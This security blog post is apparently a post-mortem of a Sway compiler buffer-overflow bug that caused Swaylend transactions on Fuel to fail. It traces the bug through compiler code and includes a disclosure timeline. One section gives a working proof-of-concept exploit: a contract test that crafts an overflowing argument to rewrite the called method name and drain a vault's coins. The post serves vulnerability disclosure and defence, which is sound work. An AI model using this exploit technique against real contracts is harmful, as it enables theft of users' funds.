Long Story Short
Compiler vulnerabilities tend to be overlooked because compiler developers may perceive them as either having little to no consequences or being easily avoidable in the final DApps. However, DApps developers, unaware of these compiler bugs, are likely to fail in detecting the unintended effects those bugs have on their products. The information gap between the two groups can lead to severe incidents, resulting in significant financial loss. Notable examples include the Vyper reentrancy bug, which led to the loss of over $26 million in smart contracts.
In this article, we will dive into the details of the Fuel-Swaylend buffer overflow vulnerability, which led to an incident where the contract was halted for 2 days. The story begins with an issue reported by our team during the Fuel Attackathon, an audit competition held on Immunefi, along with 20+ other Sway miscompilation bugs. These bugs, however, were not prioritized for immediate fixing.
Months later, shortly after fuel launched its mainnet, we noticed Swaylend transactions failing with error code 123. This error, which rarely occurs under normal operation, coincided with the impact of one of the compiler bugs we had reported during the Attackathon. Our further investigation confirmed that the bug was indeed the root cause. Consequently, Swaylend was paused until the compiler bug was fixed and a newly recompiled version was deployed. However, a 2-day shutdown had already occurred.
While the bugs we reported were initially not considered high priority, the incident highlighted their potential severity, prompting further attention to these issues. Some of the bugs still remain unresolved, pointing to the need for ongoing vigilance in addressing compiler-related vulnerabilities.
Now, let's explore the technical details in more depth, shall we? :)
The Incident
Discovery
While casually browsing through fuel transactions, we noticed certain Swaylend transactions were failing with error code 123. This was alarming, as code 123 is reserved for mismatched selector reverts---in other words, calling an unknown function of an external contract.
1pub(crate) const MISMATCHED_SELECTOR_REVERT_CODE: u32 = 123; 2 3impl<'a, 'b> EncodingAutoImplContext<'a, 'b> 4where 5 'a: 'b, 6{ 7 ... 8 pub(crate) fn generate_contract_entry( 9 &mut self, 10 engines: &Engines, 11 program_id: Option<ProgramId>, 12 contract_fns: &[DeclId<TyFunctionDecl>], 13 fallback_fn: Option<DeclId<TyFunctionDecl>>, 14 handler: &Handler, 15 ) -> Result<TyAstNode, ErrorEmitted> { 16 ... 17 let fallback = if let Some(fallback_fn) = fallback_fn { 18 ... 19 } else { 20 // as the old encoding does 21 format!("__revert({});", MISMATCHED_SELECTOR_REVERT_CODE) 22 }; 23 ... 24 } 25 ... 26}
Such errors rarely occur during normal operation. Moreover, this coincided with an observable artifact of one of the compiler bugs we reported during the Fuel Attackathon, leading us to suspect that it might have a similar root cause. We will walk you through our journey of investigating the issue, as well as highlight key takeaways.
Investigation
Starting with the failing transaction, we first need to gather information on what happened. The Operations section of the transaction provides a simple overview of the events. It shows that the execution begins with a script calling the Sway proxy contract (0x657ab45a6eb98a4893a99fd104347179151e8b3828fd8f2a108cc09770d1ebae), which then calls the Pyth oracle contract (0x1c86fdd9e0e7bc0d2ae1bf6817ef4834ffa7247655701ee1b031b52a24c523da) before reverting. While this is helpful, it doesn't reveal which function of the Sway contract was called. To determine that, we need to examine the script.
The script, along with the script data, can be obtained from the advanced transaction view. The script itself is quite short, and when plugged into the disassembler, the logic is also fairly straightforward: it simply calls a contract with parameters from the script data.
1byte op notes 20 MOVI { dst: 0x10, val: 10432 } point reg 0x10 to param in script data 34 MOVI { dst: 0x11, val: 10392 } load amount of coins to forward into reg 0x11 from scriptdata 48 LW { dst: 0x11, addr: 0x11, offset: 0 } 512 MOVI { dst: 0x12, val: 10400 } point reg 0x12 to asset_id in script data 616 CALL { target_struct: 0x10, fwd_coins: 0x11, asset_id_addr: 0x12, fwd_gas: 0xa } 720 RET { value: 0x1 }
Let's examine the script data to identify which functions are called. Looking up the code library, we see target_struct (or params) is the serialization of 3 fields: contract_id, method_name and other function arguments.
1pub fn contract_call<T, TArgs>( 2 contract_id: b256, 3 method_name: str, 4 args: TArgs, 5 coins: u64, 6 asset_id: b256, 7 gas: u64, 8) -> T 9where 10 T: AbiDecode, 11 TArgs: AbiEncode, 12{ 13 let first_parameter = encode(method_name); 14 let second_parameter = encode(args); 15 let params = encode(( 16 contract_id, 17 asm(a: first_parameter.ptr()) { 18 a: u64 19 }, 20 asm(a: second_parameter.ptr()) { 21 a: u64 22 }, 23 )); 24 25 __contract_call(params.ptr(), coins, asset_id, gas); 26 let ptr = asm() { 27 ret: raw_ptr 28 }; 29 let len = asm() { 30 retl: u64 31 }; 32 33 let mut buffer = BufferReader::from_parts(ptr, len); 34 T::abi_decode(buffer) 35}
Cross-referencing it with the script data, we find that the contract_id is 0x657ab45a6eb98a4893a99fd104347179151e8b3828fd8f2a108cc09770d1ebae, which matches the call we observed earlier. The method pointer points to the address 0x28f0 which holds the string withdraw_collateral with its length prepended. From the Swaylend contract, we find the function signature for withdraw_collateral is fn withdraw_collateral(asset_id: AssetId, amount: u64, price_data_update: PriceDataUpdate). We then proceed to decode the arguments as (AssetId, u64, PriceDataUpdate). The respective fields are annotated below (type definitions).
10x2890(10384) : 00 00 00 00 00 00 00 07 20x28a0(10400) : f8 f8 b6 28 3d 7f a5 b6 72 b5 30 cb b8 4f cc cb 30x28b0(10416) : 4f f8 dc 40 f8 17 6e f4 54 4d db 1f 19 52 ad 07 40x28c0(10432) : 65 7a b4 5a 6e b9 8a 48 93 a9 9f d1 04 34 71 79 <- call contract_id (start of encoded params structure) 50x28d0(10448) : 15 1e 8b 38 28 fd 8f 2a 10 8c c0 97 70 d1 eb ae 60x28e0(10464) : 00 00 00 00 00 00 28 f0 00 00 00 00 00 00 29 0b <- method ptr / args ptr 70x28f0(10480) : 00 00 00 00 00 00 00 13 <- method name length 8 77 69 74 68 64 72 61 77 <- method name ("withdraw_collateral") 90x2900(10496) : 5f 63 6f 6c 6c 61 74 65 72 61 6c 10 f8 f8 b6 28 3d <- asset_id 110x2910(10512) : 7f a5 b6 72 b5 30 cb b8 4f cc cb 4f f8 dc 40 f8 120x2920(10528) : 17 6e f4 54 4d db 1f 19 52 ad 07 13 00 00 00 00 00 <- amount 140x2930(10544) : 0f 42 40 15 00 00 00 00 00 00 00 07 <- price_data_update.update_fee = 7 16 00 00 00 00 00 <- price_data_update.publish_times = Vec<u64> with len 7 170x2940(10560) : 00 00 07 40 00 00 00 67 24 e0 72 40 00 00 00 67 180x2950(10576) : 24 e0 72 40 00 00 00 67 24 e0 72 40 00 00 00 67 190x2960(10592) : 24 e0 72 40 00 00 00 67 24 e0 72 40 00 00 00 67 200x2970(10608) : 24 e0 72 40 00 00 00 67 24 e0 72 21 00 00 00 00 00 <- price_data_update.price_feed_ids = Vec<PriceFeedId> with len 7 220x2980(10624) : 00 00 07 23 ea a0 20 c6 1c c4 79 71 28 13 46 1c e1 240x2990(10640) : 53 89 4a 96 a6 c0 0b 21 ed 0c fc 27 98 d1 f9 a9 25 : ... 260x2a50(10832) : 52 b8 36 45 13 f6 ab 1c ca 5e d3 f1 f7 b5 44 89 270x2a60(10848) : 80 e7 84 28 00 00 00 00 00 00 00 01 <- price_data_update.update_data = Vec<Bytes> with len 1 29 00 00 00 00 00 <- price_data_update.update_data[0] = Bytes with len 0xba3 300x2a70(10864) : 00 0b a3 31 50 4e 41 55 01 00 00 00 03 b8 01 00 00 320x2a80(10880) : 00 04 0d 00 6a 9a 96 8b 05 c6 1c 4e 33 a6 ce d1 33 : ... 340x3600(13840) : 37 7e ea 97 08 ec dc 32 d3 1b 6b 0a 97 61 1e b5
Bug Analysis
Now we know withdraw_collateral is called and have the arguments, we are ready to dive into the code. We also know the actual failure occurs when calling the pyth contract, so let's jump directly to update_price_feed_if_necessary_internal within withdraw_collateral where pyth contract is called. This is when things start getting interesting. The failure happens after calling oracle.update_price_feeds_if_necessary, but Swaylend uses the correct ABI, so what can possibly go wrong?
1impl Market for Contract { 2 ... 3 #[payable, storage(write)] 4 fn withdraw_collateral( 5 asset_id: AssetId, 6 amount: u64, 7 price_data_update: PriceDataUpdate, 8 ) { 9 ... 10 // Update price data 11 update_price_feeds_if_necessary_internal(price_data_update); 12 ... 13 } 14 ... 15} 16 17#[payable, storage(read)] 18fn update_price_feeds_if_necessary_internal(price_data_update: PriceDataUpdate) { 19 let contract_id = storage.pyth_contract_id.read(); 20 ... 21 let oracle = abi(PythCore, contract_id.bits()); 22 oracle 23 .update_price_feeds_if_necessary { 24 asset_id: AssetId::base().bits(), 25 coins: price_data_update.update_fee, 26 }( 27 price_data_update 28 .price_feed_ids, 29 price_data_update 30 .publish_times, 31 price_data_update 32 .update_data, 33 ); 34}
This brings us to the compiler internals of Fuel. For contract ABI method calls, Fuel automatically translates them into the contract_call function defined in the core library, which we've already shown above. So, we can mentally unpack oracle.update_price_feeds_if_necessary into an explicit call instead.
1pub(crate) fn type_check_method_application( 2 handler: &Handler, 3 mut ctx: TypeCheckContext, 4 mut method_name_binding: TypeBinding<MethodName>, 5 contract_call_params: Vec<StructExpressionField>, 6 arguments: &[Expression], 7 span: Span, 8) -> Result<ty::TyExpression, ErrorEmitted> { 9 ... 10 if ctx.experimental.new_encoding && method.is_contract_call { 11 fn call_contract_call( 12 ctx: &mut TypeCheckContext, 13 original_span: Span, 14 return_type: TypeId, 15 method_name_expr: Expression, 16 _caller: Expression, 17 arguments: Vec<Expression>, 18 typed_arguments: Vec<TypeId>, 19 coins_expr: Expression, 20 asset_id_expr: Expression, 21 gas_expr: Expression, 22 ) -> Expression { 23 ... 24 Expression { 25 kind: ExpressionKind::FunctionApplication(Box::new( 26 FunctionApplicationExpression { 27 call_path_binding: TypeBinding { 28 inner: CallPath { 29 prefixes: vec![], 30 suffix: Ident::new_no_span("contract_call".into()), 31 is_absolute: false, 32 }, 33 type_arguments: TypeArgs::Regular(vec![ 34 TypeArgument { 35 type_id: return_type, 36 initial_type_id: return_type, 37 span: Span::dummy(), 38 call_path_tree: None, 39 }, 40 TypeArgument { 41 type_id: tuple_args_type_id, 42 initial_type_id: tuple_args_type_id, 43 span: Span::dummy(), 44 call_path_tree: None, 45 }, 46 ]), 47 span: Span::dummy(), 48 }, 49 resolved_call_path_binding: None, 50 arguments: vec![ 51 Expression { 52 kind: ExpressionKind::Literal(Literal::B256([0u8; 32])), 53 span: Span::dummy(), 54 }, 55 method_name_expr, 56 as_tuple(arguments), 57 coins_expr, 58 asset_id_expr, 59 gas_expr, 60 ], 61 }, 62 )), 63 span: original_span, 64 } 65 } 66 ... 67 let contract_call = call_contract_call( 68 &mut ctx, 69 span, 70 method.return_type.type_id, 71 string_slice_literal(&method.name), 72 old_arguments.first().cloned().unwrap(), 73 args, 74 arguments.iter().map(|x| x.1.return_type).collect(), 75 coins_expr, 76 asset_id_expr, 77 gas_expr, 78 ); 79 ... 80 } 81 ... 82}
contract_call is responsible for several tasks: serializing the arguments, calling the external contract, and then deserializing the return value. The panic occurred when an external contract was called and the function name could not be found. This indicates either the serialized function name provided to the external contract is incorrect, or the function dispatching in the external contract does not work properly.
Before we dig further into the Swaylend incident, let's take a step back and discuss the compiler bug we mentioned earlier, which we discovered during the Fuel Attackathon. This will provide important context for the Swaylend case when we revisit it later.
The codec library defines a trait called AbiEncode used for encoding data. Any structures passed across contract boundaries must implement this trait for the compiler to be able to serialize it.
1pub trait AbiEncode { 2 fn abi_encode(self, buffer: Buffer) -> Buffer; 3}
At the core of the trait is a Buffer structure, which is used to track encoded data. A Buffer is created with the __encode_buffer_empty intrinsic, and serialized structure bytestreams are appended to it through the __encode_buffer_append intrinsic. Once encoding is complete, the Buffer is destructured into a raw_slice using the encode_buffer_as_raw_slice intrinsic.
1pub struct Buffer { 2 buffer: (raw_ptr, u64, u64), // ptr, capacity, size 3} 4 5impl Buffer { 6 pub fn new() -> Self { 7 Buffer { 8 buffer: __encode_buffer_empty(), 9 } 10 } 11} 12 13impl AbiEncode for bool { 14 fn abi_encode(self, buffer: Buffer) -> Buffer { 15 Buffer { 16 buffer: __encode_buffer_append(buffer.buffer, self), 17 } 18 } 19} 20 21pub fn encode<T>(item: T) -> raw_slice 22where 23 T: AbiEncode, 24{ 25 let buffer = item.abi_encode(Buffer::new()); 26 buffer.as_raw_slice() 27} 28 29impl AsRawSlice for Buffer { 30 fn as_raw_slice(self) -> raw_slice { 31 __encode_buffer_as_raw_slice(self.buffer) 32 } 33}
While the usage of all these intrinsics may seem overwhelming at first, the compiler implementations are actually quite simple.
In EncodeBufferEmpty, the compiler allocates a memory chunk of size 1024, and packs the (ptr, capacity = 1024, len = 0) tuple into the Buffer structure before returning it.
1Intrinsic::EncodeBufferEmpty => { 2 assert!(arguments.is_empty()); 3 4 let uint64 = Type::get_uint64(context); 5 6 // let cap = 1024; 7 let cap = Value::new_constant( 8 context, 9 Constant { 10 ty: uint64, 11 value: ConstantValue::Uint(1024), 12 }, 13 ); 14 15 // let ptr = asm(cap: cap) { 16 // aloc cap; 17 // hp: u64 18 // } 19 let args = vec![AsmArg { 20 name: Ident::new_no_span("cap".into()), 21 initializer: Some(cap), 22 }]; 23 let body = vec![AsmInstruction { 24 op_name: Ident::new_no_span("aloc".into()), 25 args: vec![Ident::new_no_span("cap".into())], 26 immediate: None, 27 metadata: None, 28 }]; 29 let ptr = self.current_block.append(context).asm_block( 30 args, 31 body, 32 uint64, 33 Some(Ident::new_no_span("hp".into())), 34 ); 35 36 let ptr_u8 = Type::new_ptr(context, Type::get_uint8(context)); 37 let ptr = self.current_block.append(context).int_to_ptr(ptr, ptr_u8); 38 39 let len = Constant::new_uint(context, 64, 0); 40 let len = Value::new_constant(context, len); 41 let buffer = self.compile_to_encode_buffer(context, ptr, cap, len)?; 42 Ok(TerminatorValue::new(buffer, context)) 43}
Appending to the Buffer is slightly more involved, but it can be broken down into a few simple steps
- Calculate the address of
&Buffer.ptr[Buffer.len] - Store the encoded data at the calculated address.
- Increase
Buffer.len
1Intrinsic::EncodeBufferAppend => { 2 assert!(arguments.len() == 2); 3 4 let buffer = &arguments[0]; 5 let buffer = return_on_termination_or_extract!( 6 self.compile_expression_to_value(context, md_mgr, buffer)? 7 ); 8 9 let (ptr, cap, len) = self.compile_buffer_into_parts(context, buffer)?; 10 11 // Append item 12 let item = &arguments[1]; 13 let item_span = item.span.clone(); 14 let item_type = engines.te().get(item.return_type); 15 let item = return_on_termination_or_extract!( 16 self.compile_expression_to_value(context, md_mgr, item)? 17 ); 18 19 // Define some helper functions 20 fn increase_len( 21 current_block: &mut Block, 22 context: &mut Context, 23 len: Value, 24 step: u64, 25 ) -> Value { 26 assert!(len.get_type(context).unwrap().is_uint64(context)); 27 28 let uint64 = Type::get_uint64(context); 29 let step = Value::new_constant( 30 context, 31 Constant { 32 ty: uint64, 33 value: ConstantValue::Uint(step), 34 }, 35 ); 36 current_block 37 .append(context) 38 .binary_op(BinaryOpKind::Add, len, step) 39 } 40 41 fn calc_addr_as_ptr( 42 current_block: &mut Block, 43 context: &mut Context, 44 ptr: Value, 45 len: Value, 46 ptr_to: Type, 47 ) -> Value { 48 assert!(ptr.get_type(context).unwrap().is_ptr(context)); 49 assert!(len.get_type(context).unwrap().is_uint64(context)); 50 51 let uint64 = Type::get_uint64(context); 52 let ptr = current_block.append(context).ptr_to_int(ptr, uint64); 53 let addr = current_block 54 .append(context) 55 .binary_op(BinaryOpKind::Add, ptr, len); 56 57 let ptr_to = Type::new_ptr(context, ptr_to); 58 current_block.append(context).int_to_ptr(addr, ptr_to) 59 } 60 61 fn append_with_store( 62 current_block: &mut Block, 63 context: &mut Context, 64 addr: Value, 65 len: Value, 66 item: Value, 67 ) -> Value { 68 assert!(addr.get_type(context).unwrap().is_ptr(context)); 69 assert!(addr 70 .get_type(context) 71 .unwrap() 72 .get_pointee_type(context) 73 .unwrap() 74 .eq(context, &item.get_type(context).unwrap())); 75 76 let _ = current_block.append(context).store(addr, item); 77 78 let uint64 = Type::get_uint64(context); 79 let step = Value::new_constant( 80 context, 81 Constant { 82 ty: uint64, 83 value: ConstantValue::Uint(1), 84 }, 85 ); 86 current_block 87 .append(context) 88 .binary_op(BinaryOpKind::Add, len, step) 89 } 90 91 // Actual operation starts from here 92 let new_len = match &*item_type { 93 TypeInfo::Boolean => { 94 assert!(item.get_type(context).unwrap().is_bool(context)); 95 let addr = calc_addr_as_ptr( 96 &mut self.current_block, 97 context, 98 ptr, 99 len, 100 Type::get_bool(context), 101 ); 102 append_with_store(&mut self.current_block, context, addr, len, item) 103 } 104 ... 105 } 106 107 let buffer = self.compile_to_encode_buffer(context, ptr, cap, new_len)?; 108 109 Ok(TerminatorValue::new(buffer, context)) 110}
And EncodeBufferAsRawSlice packs Buffer.ptr and Buffer.len into a raw_slice structure.
1Intrinsic::EncodeBufferAsRawSlice => { 2 assert!(arguments.len() == 1); 3 4 let buffer = &arguments[0]; 5 let buffer = return_on_termination_or_extract!( 6 self.compile_expression_to_value(context, md_mgr, buffer)? 7 ); 8 9 let uint64 = Type::get_uint64(context); 10 let (ptr, _, len) = self.compile_buffer_into_parts(context, buffer)?; 11 let ptr = self.current_block.append(context).ptr_to_int(ptr, uint64); 12 let slice_as_tuple = self.compile_tuple_from_values( 13 context, 14 vec![ptr, len], 15 vec![uint64, uint64], 16 None, 17 )?; 18 19 //asm(s: (ptr, len)) { 20 // s: raw_slice 21 //}; 22 let return_type = Type::get_slice(context); 23 let buffer = self.current_block.append(context).asm_block( 24 vec![AsmArg { 25 name: Ident::new_no_span("s".into()), 26 initializer: Some(slice_as_tuple), 27 }], 28 vec![], 29 return_type, 30 Some(Ident::new_no_span("s".into())), 31 ); 32 33 Ok(TerminatorValue::new(buffer, context)) 34}
It is clear that EncodeBufferAppend contains a critical bug: the buffer is never resized when the encoded data exceeds the original buffer length. If the encoded data is large, the append operation will silently overflow the allocated heap memory and overwrite subsequent data.
So, what consequences could this bug have? To answer that, we need to understand what lies after the overflown data chunk. The Fuel VM heap grows from high memory towards low memory and never garbage collects. Thus chunks allocated later are always placed at lower memory addresses than those allocated earlier. As a result, a sufficiently large overflow on a newer chunk can always overwrite data in an older chunk.
1 Fuel VM Heap Layout 2 +-----------------------------------+ <- High Memory (Start of Heap) 3 | Older Allocated Chunks | 4 | . | ⬆ 5 | . | ⬆ (overflow old chunks) 6 | . | ⬆ 7 +-----------------------------------+ ⬆ 8 | Newer Allocated Chunk | ⬆ writing direction 9 +-----------------------------------+ 10 | (Free Space) | 11 | | 12 +-----------------------------------+ <- Low Memory (End of Heap)
In contract_call, we can identify 3 encodings at play. The method_name is generally hardcoded and short, making it is unlikely to overflow during encoding. On the other hand, the args are often user-controllable and can have dynamic lengths, thus susceptible to overflow. The same applies to params. Since method_name is encoded before args, the heap chunk in the Buffer for the first_parameter (method_name) precedes the heap chunk in the Buffer for second_parameter (args). This means a sufficiently long arg can overflow during execution and overwrite the method_name being called, resulting in the unknown function name error we observed.
Returning to Swaylend, is this what has happened? Close, but not exactly. It turns out the Fuel team has attempted to fix this bug at one point. In this commit, they added code to double the size of the Buffer whenever it runs out of space. Unfortunately, doubling the buffer size was not enough to fully resolve the bug. Take the failing transaction as example, the final field to serialize is 0xba3 bytes, and the entire param exceeds 0xc00 bytes. Since Doubling the 1024-bytes Buffer to 2048-bytes is not enough to store the entire param, the encoding still overflow into method_name, corrupting it.
The End of the Story?
Reverting when it shouldn’t is bad enough on its own. But hold on---does an overflow always end with a revert? Let's consider the bug more carefully. What if attackers craft their overflowing encoded argument carefully to control the method_name, directing it to an existing function rather than some corrupted data? The hypothetical DApp below demonstrates how this could turn the bug into a serious loss-of-funds issue. Readers are encouraged to take some time with this to truly understand how the bug works 0.<
1contract; 2 3use std::{ 4 bytes::Bytes, 5 identity::Identity, 6 asset::transfer, 7 asset_id::AssetId, 8 context::this_balance, 9 auth::msg_sender, 10}; 11 12abi VaultContract { 13 #[storage(write)] 14 fn initialize(manager:Identity); 15 #[payable, storage(read)] 16 fn deposit(data: Bytes); 17 #[storage(read)] 18 fn collect(amount: u64, receiver: Identity); 19} 20 21storage { 22 manager: Identity = Identity::Address(Address::zero()), 23 initialized: bool = false, 24} 25 26impl VaultContract for Contract { 27 #[storage(write)] 28 fn initialize(manager: Identity) { 29 assert(storage.initialized.read() == false); 30 storage.initialized.write(true); 31 storage.manager.write(manager); 32 } 33 #[payable, storage(read)] 34 fn deposit(data: Bytes) { 35 assert(msg_sender().unwrap() == storage.manager.read()); 36 //ignore the bookkeeping of user balance since it's not important for the poc 37 log(data); 38 } 39 #[storage(read)] 40 fn collect(amount: u64, receiver: Identity) { 41 assert(msg_sender().unwrap() == storage.manager.read()); 42 let mut actual_amount = amount; 43 if (actual_amount > this_balance(AssetId::base())) { 44 actual_amount = this_balance(AssetId::base()); 45 } 46 transfer(receiver, AssetId::base(), actual_amount); 47 } 48}
1contract; 2 3use std::{ 4 bytes::Bytes, 5 alloc::alloc, 6 asset_id::AssetId, 7 registers::global_gas, 8 identity::Identity, 9 address::Address, 10 contract_id::ContractId, 11 auth::msg_sender, 12 call_frames::msg_asset_id, 13 context::{ 14 msg_amount, 15 balance_of, 16 }, 17}; 18 19abi VaultContract { 20 #[storage(write)] 21 fn initialize(manager:Identity); 22 #[payable, storage(read)] 23 fn deposit(data: Bytes); 24 #[storage(read)] 25 fn collect(amount: u64, receiver: Identity); 26} 27 28abi ManagerContract { 29 #[payable] 30 fn deposit(data: Bytes); 31 #[storage(read)] 32 fn collect(amount: u64, receiver: Identity); 33} 34 35storage { 36 admin: Identity = Identity::Address(Address::zero()), 37} 38 39impl ManagerContract for Contract { 40 #[payable] 41 fn deposit(data: Bytes) { 42 assert(msg_asset_id() == AssetId::base()); 43 let vault_abi = abi(VaultContract, vault::CONTRACT_ID); 44 vault_abi.deposit{asset_id: AssetId::base().bits(), coins: msg_amount()}(data); 45 } 46 47 #[storage(read)] 48 fn collect(amount: u64, receiver: Identity) { 49 assert(msg_sender().unwrap() == storage.admin.read()); 50 let vault_abi = abi(VaultContract, vault::CONTRACT_ID); 51 vault_abi.collect(amount, receiver); 52 } 53} 54 55#[test] 56fn test() { 57 // setup 58 let vault_abi = abi(VaultContract, vault::CONTRACT_ID); 59 vault_abi.initialize(Identity::ContractId(ContractId::from(CONTRACT_ID))); 60 let manager_abi = abi(ManagerContract, CONTRACT_ID); 61 manager_abi.deposit{asset_id: AssetId::base().bits(), coins: 100}(Bytes::new()); 62 assert(balance_of(ContractId::from(vault::CONTRACT_ID), AssetId::base()) == 100); 63 64 // exploit 65 let arg_len = 0x408; 66 let arg = alloc::<u8>(8 + arg_len); 67 arg.write::<u64>(arg_len); 68 arg.add_uint_offset(0x3f8).write::<u64>(15); //overwrite name encode buffer length 69 arg.add_uint_offset(0x400).write::<u64>(7); //overwrite name length 70 arg.add_uint_offset(0x408).write::<u64>(0x636f6c6c65637400); //overwrite name 71 __contract_call( 72 encode(( 73 CONTRACT_ID, 74 asm(a:encode("deposit").ptr()){a:u64}, 75 asm(a:arg){a:u64}, 76 )).ptr(), 77 0, 78 AssetId::base().bits(), 79 global_gas(), 80 ); 81 assert(balance_of(ContractId::from(vault::CONTRACT_ID), AssetId::base()) == 100); //this fails because the overflow stole the coins 82}
Besides controlling the method_name to redirect code execution, other attack vectors also exist. Since the overflow doesn’t necessarily stop at the method_name buffer, if there is other data placed on the heap before the call, attacker could tamper that as well. The potential of powerful exploits surrounding this bug is truly unlimited.
On the bright side for Swaylend, the Pyth contract they’re calling doesn’t have any functionality that could enable a more severe attack. Additionally, there’s also no useful data on the heap for an attacker to corrupt. This limits the impact of the bug to only transaction failures. However, other DApps may not be as fortunate. Our suggestion to Sway developers is to review your code to ensure there are no dynamic-length arguments passed between contracts. If so, recompile your contract with the latest version of the Sway compiler and upgrade it immediately.
Reflection
So, what can we learn from the incident, and why do we call this a "preventable" issue? Let’s take a look at the reporting timeline:
- 6/19 : We reported the compiler bug to Fuel via Immunefi, but the report was automatically closed because the contest didn’t include an appropriate impact option. The custom impact we provided—"Incorrect Sway intrinsics leading to Fuel heap buffer overflow"—was deemed out of scope
- 7/1 : We reached out to Immunefi and received a response that they would ask Fuel to review the reports that were automatically, but incorrectly, closed
- 8/23 : Long after the end of the Attackathon, we reminded Immunefi and Fuel the report had not been reviewed
- 8/26 : The report was once again automatically closed due to "out of scope" impacts
- 8/30 : The report was accepted, but its severity was downgraded from Critical to Low
- 8/30 : We provided the proof of concept DApp above to strengthen our claim that the bug could have severe impacts, but were unable to convince Fuel and Immunefi to reassess its severity
- 10/31: Two month later, we noticed transactions failing with error code 123 (mismatched selector reverts)
- 11/1 : Swaylend was halted
- 11/3 : Swaylend was recompiled and upgraded in this transaction
Compiler bug severities can be a source of contention. The main arguments for assigning a lower severity are:
- Compiler bugs rarely make it to production. They are typically caught by DApp developers during testing and can easily be identified and fixed.
- Compiler bugs don't have an immediate impact, so by nature, they can't be considered severe.
- It's uncommon for DApps to encounter compiler bugs, as code that triggers them often involves anti-patterns.
On the other hand, the counterarguments for high severity are:
- It is unreasonable to expect DApp developers to catch compiler bugs during testing. Testing coverage is often insufficient, and even with high coverage, bugs may still go undetected.
- Programming languages are meant to provide developers with a trusted foundation. If developers cannot rely on a language to function as intended, building anything useful becomes impossible.
- Nearly all miscompilations have the potential to lead to critical consequences. If not taken seriously, it's only a matter of time before compiler bugs result in significant losses.
While the consequences of compiler bugs are still up for debate, we want to highlight that negligence in compiler security has already had visible impacts in the industry. A few well-known examples include:
- The Vyper reentrancy bug => over $26 million stolen.
- The ZKSync-Aave optimization bug => fortunately identified before activation.
- The Fuel-Swaylend buffer overflow vulnerability => Swaylend halted for 2 days.
Although it is common for people to underestimate the potential impact of vulnerabilities yet to occur, recent examples demonstrate our industry has reached a point where imminent threats, such as compiler issues, are looming. A certain portion of related incidents could likely have been avoided if reported vulnerabilities had received more attention and if security researchers had been more actively engaged in the process of reviewing fixes.
Bugs are an inherent part of the development process, and determining the timing and approach for addressing them is a crucial decision. The more seriously security bugs are handled, the less likely they are to come back to bite us later. If you are concerned about compiler bugs affecting your contracts or need help assessing the risks, contact us at [email protected]. We can help you conduct the most thorough and rigorous review.
In our next post, we will dive into the Sway compiler, breaking down the pipeline of modern compilers and examining the bugs we discovered during the Attackathon. Feel free to follow us on X to stay tunned!